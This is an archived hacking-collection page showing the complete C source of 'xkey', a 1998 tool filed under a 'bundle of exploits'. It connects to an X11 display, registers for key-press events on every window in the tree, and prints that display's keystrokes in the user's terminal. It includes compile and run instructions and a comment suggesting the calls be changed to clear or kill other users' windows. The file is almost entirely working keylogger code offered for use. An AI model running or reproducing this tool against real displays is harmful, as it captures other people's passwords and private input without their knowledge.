home *** CD-ROM | disk | FTP | other *** search
/ Freaks Macintosh Archive / Freaks Macintosh Archive.bin / Freaks Macintosh Archives / Hacking & Misc / bundle of exploits.sit / bundle of exploits / xkey.c < prev    next >
C/C++ Source or Header  |  1998-07-17  |  3KB  |  133 lines

  1.  
  2. /* To compile, run it through your favorite ansi compiler something like
  3.  * this :
  4.  *
  5.  *    gcc -o xkey xkey.c -lX11 -lm
  6.  *
  7.  * To run it, just use it like this :  xkey displayname:0
  8.  * and watch as that display's keypresses show up in your shell window.
  9.  *
  10.  *    Dominic Giampaolo (nick@cs.maxine.wpi.edu)
  11.  */
  12. #include <stdio.h>
  13. #include <X11/X.h>
  14. #include <X11/Xlib.h>
  15. #include <X11/Intrinsic.h>
  16. #include <X11/StringDefs.h>
  17. #include <X11/Xutil.h>
  18. #include <X11/Shell.h>
  19.  
  20. char *TranslateKeyCode(XEvent *ev);
  21.  
  22.  
  23. Display *d;
  24.  
  25. void snoop_all_windows(Window root, unsigned long type)
  26. {
  27.   static int level = 0;
  28.   Window parent, *children, *child2;
  29.   unsigned int nchildren;
  30.   int stat, i,j,k;
  31.  
  32.   level++;
  33.  
  34.   stat = XQueryTree(d, root, &root, &parent, &children, &nchildren);
  35.   if (stat == FALSE)
  36.    {
  37.      fprintf(stderr, "Can't query window tree...\n");
  38.      return;
  39.    }
  40.  
  41.   if (nchildren == 0)
  42.     return;
  43.  
  44.   /* For a more drastic inidication of the problem being exploited
  45.    * here, you can change these calls to XSelectInput() to something
  46.    * like XClearWindow(d, children[i]) or if you want to be real
  47.    * nasty, do XKillWindow(d, children[i]).  Of course if you do that,
  48.    * then you'll want to remove the loop in main().
  49.    *
  50.    * The whole point of this exercise being that I shouldn't be
  51.    * allowed to manipulate resources which do not belong to me.
  52.    */
  53.   XSelectInput(d, root, type);
  54.  
  55.   for(i=0; i < nchildren; i++)
  56.    {
  57.      XSelectInput(d, children[i], type);
  58.      snoop_all_windows(children[i], type);
  59.    }
  60.  
  61.   XFree((char *)children);
  62. }
  63.  
  64.  
  65. void main(int argc, char **argv)
  66. {
  67.   char *hostname;
  68.   char *string;
  69.   XEvent xev;
  70.   int count = 0;
  71.  
  72.   if (argv[1] == NULL)
  73.     hostname = ":0";
  74.   else
  75.     hostname = argv[1];
  76.  
  77.   d = XOpenDisplay(hostname);
  78.   if (d == NULL)
  79.    {
  80.      fprintf(stderr, "Blah, can't open display: %s\n", hostname);
  81.      exit(10);
  82.    }
  83.  
  84.   snoop_all_windows(DefaultRootWindow(d), KeyPressMask);
  85.  
  86.   while(1)
  87.    {
  88.      XNextEvent(d, &xev);
  89.  
  90.      string = TranslateKeyCode(&xev);
  91.      if (string == NULL)
  92.        continue;
  93.  
  94.      if (*string == '\r')
  95.        printf("\n");
  96.      else if (strlen(string) == 1)
  97.        printf("%s", string);
  98.      else
  99.        printf("<<%s>>", string);
  100.      fflush(stdout);
  101.    }
  102. }
  103.  
  104.  
  105. #define KEY_BUFF_SIZE 256
  106. static char key_buff[KEY_BUFF_SIZE];
  107.  
  108. char *TranslateKeyCode(XEvent *ev)
  109. {
  110.   int count;
  111.   char *tmp;
  112.   KeySym ks;
  113.  
  114.   if (ev)
  115.    {
  116.      count = XLookupString((XKeyEvent *)ev, key_buff, KEY_BUFF_SIZE, &ks,NULL);
  117.      key_buff[count] = '\0';
  118.  
  119.      if (count == 0)
  120.       {
  121.         tmp = XKeysymToString(ks);
  122.         if (tmp)
  123.           strcpy(key_buff, tmp);
  124.         else
  125.           strcpy(key_buff, "");
  126.       }
  127.  
  128.      return key_buff;
  129.    }
  130.   else
  131.     return NULL;
  132. }
  133.